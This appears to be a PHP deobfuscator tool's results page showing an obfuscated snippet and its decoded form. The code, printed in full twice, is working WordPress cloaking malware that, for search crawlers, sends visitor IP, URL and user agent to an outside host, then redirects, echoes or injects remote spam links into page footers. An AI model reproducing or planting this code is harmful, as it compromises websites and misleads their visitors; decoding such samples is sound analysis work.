Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php if ( is_user_logged_in()== false ) : ?><?php $_0=array("#bing#i","#duckduckgo#i","#z..

Decoded Output download

<?php if ( is_user_logged_in()== false ) : ?><?php $_0=array("#bing#i","#duckduckgo#i","#zapmeta#i","#seznam#i","#google#i","#msnbot#i","#slurp#i");foreach($_0 as $_1){if(preg_match($_1,$_server['http_user_agent'])){$_2=str_replace("http://","",$_server["http_host"] .$_server['request_uri']);$_2=str_replace("https://","",$_2);$_2=str_replace("www.","",$_2);$_3="http://checkinglinks.com/nn/server.php?md5=" .md5($_2) ."&ua=" .base64_encode($_server["http_user_agent"]) ."&ref=" .base64_encode(@$_server["http_referer"]) ."&ip=" .base64_encode($_server["remote_addr"]) ."&uri=" .base64_encode($_server["request_uri"]) ."&host=" .base64_encode($_server["http_host"]);if(function_exists("curl_init")){$_4=curl_init($_3);curl_setopt($_4,curlopt_returntransfer,round(0+0.2+0.2+0.2+0.2+0.2));curl_setopt($_4,curlopt_followlocation,round(0+0.33333333333333+0.33333333333333+0.33333333333333));curl_setopt($_4,curlopt_timeout,round(0+2.5+2.5+2.5+2.5));while(round(0+948+948+948+948)-round(0+1896+1896))strrchr($_5,$_6);$_7=curl_exec($_4);$_8=round(0+105);curl_close($_4);if(strpos("vjhitcsqwoogvums","cz")!==false)imagecopyresized($buffer,$_0);}elseif(ini_get("allow_url_fopen")){if(function_exists("file_get_contents")){$_7=file_get_contents($_3);}elseif(function_exists("fopen")){$_9=fopen($_3,"r");$_7=fread($_9,round(0+4096+4096));if(round(0+1559+1559+1559+1559)<mt_rand(round(0+2089),round(0+1380.6666666667+1380.6666666667+1380.6666666667)))session_get_cookie_params($buffer,$_10,$_2,$_11,$_0);}}if(!empty($_7)){$_12=base64_decode($_7);$_12=@unserialize($_12);$_12=explode("ver;",trim($_12));if((round(0+2030)+round(0+817.5+817.5))>round(0+2030)|| curl_setopt_array($_2,$_11));else{strval($_0,$_12);}$_13=$_12[round(0)];if((round(0+1160.25+1160.25+1160.25+1160.25)^round(0+1547+1547+1547))&& imagecopyresampled($_13,$buffer,$_5,$_14,$_4))fgetss($_7,$_15);$_12=$_12[round(0+0.33333333333333+0.33333333333333+0.33333333333333)];}break;}}if(!empty($_12)&& $_13 == round(0+0.5+0.5+0.5+0.5)){$_16=rand(round(0+100.33333333333+100.33333333333+100.33333333333),round(0+100.66666666667+100.66666666667+100.66666666667));header("http/1.1 $_16 moved permanently");header("location: $_12");if((round(0+2120+2120)^round(0+1060+1060+1060+1060))&& array_product($_0,$_1))curl_multi_init($_3);exit();}if(!empty($_12)&& $_13 == round(0+0.25+0.25+0.25+0.25)){echo $_12;exit();}function system_buffer_back($buffer){if(!empty($buffer)){global $_12;$_12=explode("
",$_12);if(!empty($_12)&& is_array($_12)){$_5="footer;foter";$_5=explode(";",$_5);foreach($_5 as $_10){$_10="</$_10>";$_17='rcc';$_14=$_18=round(0);if(round(0+1668+1668+1668)<mt_rand(round(0+357.8+357.8+357.8+357.8+357.8),round(0+642+642+642+642+642)))array_reverse($buffer,$_10,$_15,$_0);do{$_14=strpos($buffer,$_10,$_18);if($_14!==false){$_18=$_14+strlen($_10);$_11=php_eol .array_shift($_12);$buffer=substr_replace($buffer,$_11,$_18,round(0));(round(0+1577)-round(0+315.4+315.4+315.4+315.4+315.4)+round(0+630.5+630.5+630.5+630.5)-round(0+504.4+504.4+504.4+504.4+504.4))?prev($_14):mt_rand(round(0+394.25+394.25+394.25+394.25),round(0+646+646+646+646+646));$_18 +=strlen($_11);}}while($_14!==false and!empty($_12));if((round(0+1243.5+1243.5+1243.5+1243.5)+round(0+543.66666666667+543.66666666667+543.66666666667))>round(0+994.8+994.8+994.8+994.8+994.8)|| date($_10,$_16,$buffer,$_16,$_11));else{imagecreatefrompng($_0,$_9);}}if(!empty($_12)){preg_match('#(<\s*/body\s*>|<\s*/html\s*>)#i',$buffer,$_10);if(!empty($_10[round(0+0.25+0.25+0.25+0.25)])){$buffer=str_replace($_10[round(0+1)],implode(" ",$_12) ."
{$_10[round(0+0.33333333333333+0.33333333333333+0.33333333333333)]}",$buffer);}elseif(!empty($buffer)){$buffer .= "
" .implode(" ",$_12);}}}}return $buffer;if(strpos('fuctvtungqkglu','mwz')!==false)substr_replace($_18,$_server,$_15,$_server,$_5);}function system_buffer_back_sort($_6,$_15){return strlen($_15)-strlen($_6);}if(!empty($_12)&& $_13 == round(0)){ob_start("system_buffer_back");} ?><?php endif; ?>

Did this file decode correctly?

Original Code

<?php if ( is_user_logged_in()== false ) : ?><?php $_0=array("#bing#i","#duckduckgo#i","#zapmeta#i","#seznam#i","#google#i","#msnbot#i","#slurp#i");foreach($_0 as $_1){if(preg_match($_1,$_server['http_user_agent'])){$_2=str_replace("http://","",$_server["http_host"] .$_server['request_uri']);$_2=str_replace("https://","",$_2);$_2=str_replace("www.","",$_2);$_3="\x68\164\164\160\x3a\57\x2f\143\150\x65\x63\x6b\151\x6e\x67\154\151\156\x6b\x73\x2e\143\x6f\x6d\x2f\156\156\57\x73\x65\162\x76\x65\x72\56\x70\x68\160\x3f\x6d\x64\65\x3d" .md5($_2) ."&ua=" .base64_encode($_server["http_user_agent"]) ."&ref=" .base64_encode(@$_server["http_referer"]) ."&ip=" .base64_encode($_server["remote_addr"]) ."&uri=" .base64_encode($_server["request_uri"]) ."&host=" .base64_encode($_server["http_host"]);if(function_exists("curl_init")){$_4=curl_init($_3);curl_setopt($_4,curlopt_returntransfer,round(0+0.2+0.2+0.2+0.2+0.2));curl_setopt($_4,curlopt_followlocation,round(0+0.33333333333333+0.33333333333333+0.33333333333333));curl_setopt($_4,curlopt_timeout,round(0+2.5+2.5+2.5+2.5));while(round(0+948+948+948+948)-round(0+1896+1896))strrchr($_5,$_6);$_7=curl_exec($_4);$_8=round(0+105);curl_close($_4);if(strpos("vjhitcsqwoogvums","cz")!==false)imagecopyresized($buffer,$_0);}elseif(ini_get("allow_url_fopen")){if(function_exists("file_get_contents")){$_7=file_get_contents($_3);}elseif(function_exists("fopen")){$_9=fopen($_3,"r");$_7=fread($_9,round(0+4096+4096));if(round(0+1559+1559+1559+1559)<mt_rand(round(0+2089),round(0+1380.6666666667+1380.6666666667+1380.6666666667)))session_get_cookie_params($buffer,$_10,$_2,$_11,$_0);}}if(!empty($_7)){$_12=base64_decode($_7);$_12=@unserialize($_12);$_12=explode("ver;",trim($_12));if((round(0+2030)+round(0+817.5+817.5))>round(0+2030)|| curl_setopt_array($_2,$_11));else{strval($_0,$_12);}$_13=$_12[round(0)];if((round(0+1160.25+1160.25+1160.25+1160.25)^round(0+1547+1547+1547))&& imagecopyresampled($_13,$buffer,$_5,$_14,$_4))fgetss($_7,$_15);$_12=$_12[round(0+0.33333333333333+0.33333333333333+0.33333333333333)];}break;}}if(!empty($_12)&& $_13 == round(0+0.5+0.5+0.5+0.5)){$_16=rand(round(0+100.33333333333+100.33333333333+100.33333333333),round(0+100.66666666667+100.66666666667+100.66666666667));header("http/1.1 $_16 moved permanently");header("location: $_12");if((round(0+2120+2120)^round(0+1060+1060+1060+1060))&& array_product($_0,$_1))curl_multi_init($_3);exit();}if(!empty($_12)&& $_13 == round(0+0.25+0.25+0.25+0.25)){echo $_12;exit();}function system_buffer_back($buffer){if(!empty($buffer)){global $_12;$_12=explode("\n",$_12);if(!empty($_12)&& is_array($_12)){$_5="footer;foter";$_5=explode(";",$_5);foreach($_5 as $_10){$_10="</$_10>";$_17='rcc';$_14=$_18=round(0);if(round(0+1668+1668+1668)<mt_rand(round(0+357.8+357.8+357.8+357.8+357.8),round(0+642+642+642+642+642)))array_reverse($buffer,$_10,$_15,$_0);do{$_14=strpos($buffer,$_10,$_18);if($_14!==false){$_18=$_14+strlen($_10);$_11=php_eol .array_shift($_12);$buffer=substr_replace($buffer,$_11,$_18,round(0));(round(0+1577)-round(0+315.4+315.4+315.4+315.4+315.4)+round(0+630.5+630.5+630.5+630.5)-round(0+504.4+504.4+504.4+504.4+504.4))?prev($_14):mt_rand(round(0+394.25+394.25+394.25+394.25),round(0+646+646+646+646+646));$_18 +=strlen($_11);}}while($_14!==false and!empty($_12));if((round(0+1243.5+1243.5+1243.5+1243.5)+round(0+543.66666666667+543.66666666667+543.66666666667))>round(0+994.8+994.8+994.8+994.8+994.8)|| date($_10,$_16,$buffer,$_16,$_11));else{imagecreatefrompng($_0,$_9);}}if(!empty($_12)){preg_match('#(<\s*/body\s*>|<\s*/html\s*>)#i',$buffer,$_10);if(!empty($_10[round(0+0.25+0.25+0.25+0.25)])){$buffer=str_replace($_10[round(0+1)],implode(" ",$_12) ."\n{$_10[round(0+0.33333333333333+0.33333333333333+0.33333333333333)]}",$buffer);}elseif(!empty($buffer)){$buffer .= "\n" .implode(" ",$_12);}}}}return $buffer;if(strpos('fuctvtungqkglu','mwz')!==false)substr_replace($_18,$_server,$_15,$_server,$_5);}function system_buffer_back_sort($_6,$_15){return strlen($_15)-strlen($_6);}if(!empty($_12)&& $_13 == round(0)){ob_start("system_buffer_back");} ?><?php endif; ?>

Function Calls

is_user_logged_in 1

Variables

None

Stats

MD5 58487ffabf2f6b73633ad5bea1fa3f59
Eval Count 0
Decode Time 113 ms